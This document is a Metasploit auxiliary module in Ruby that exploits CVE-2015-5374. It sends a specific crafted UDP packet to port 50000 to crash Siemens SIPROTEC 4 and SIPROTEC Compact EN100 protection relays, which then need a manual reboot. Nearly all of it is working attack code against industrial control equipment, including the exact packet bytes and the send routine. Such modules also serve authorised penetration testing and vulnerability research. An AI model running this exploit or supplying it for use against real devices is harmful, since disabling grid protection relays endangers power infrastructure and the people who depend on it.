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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::Udp
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  include Msf::Auxiliary::Dos
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    def initialize(info = {})
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        super(
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          'Name'           => 'Siemens SIPROTEC 4 and SIPROTEC Compact EN100 Ethernet Module - Denial of Service',
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          'Description'    => %q{
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             This module sends a specially crafted packet to port 50000/UDP
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             causing a denial of service of the affected (Siemens SIPROTEC 4 and SIPROTEC Compact < V4.25) devices.
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             A manual reboot is required to return the device to service.
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             CVE-2015-5374 and a CVSS v2 base score of 7.8 have been assigned to this vulnerability.
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            },
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          'Author'         => [ 'M. Can Kurnaz' ],
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          'License'        => MSF_LICENSE,
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          'Version'        => '$Revision: 1 $',
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          'References'     =>
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            [
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              [ 'CVE' '2015-5374' ],
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              [ 'EDB', '44103' ],
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              [ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-15-202-01' ]
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            ])
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        register_options([Opt::RPORT(50000),])
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  end
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  def run
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      connect_udp
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      pckt = "\x11\x49\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x9e"
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      print_status('Sending DoS packet...')
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      udp_sock.put(pckt)
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      disconnect_udp
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  end
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end
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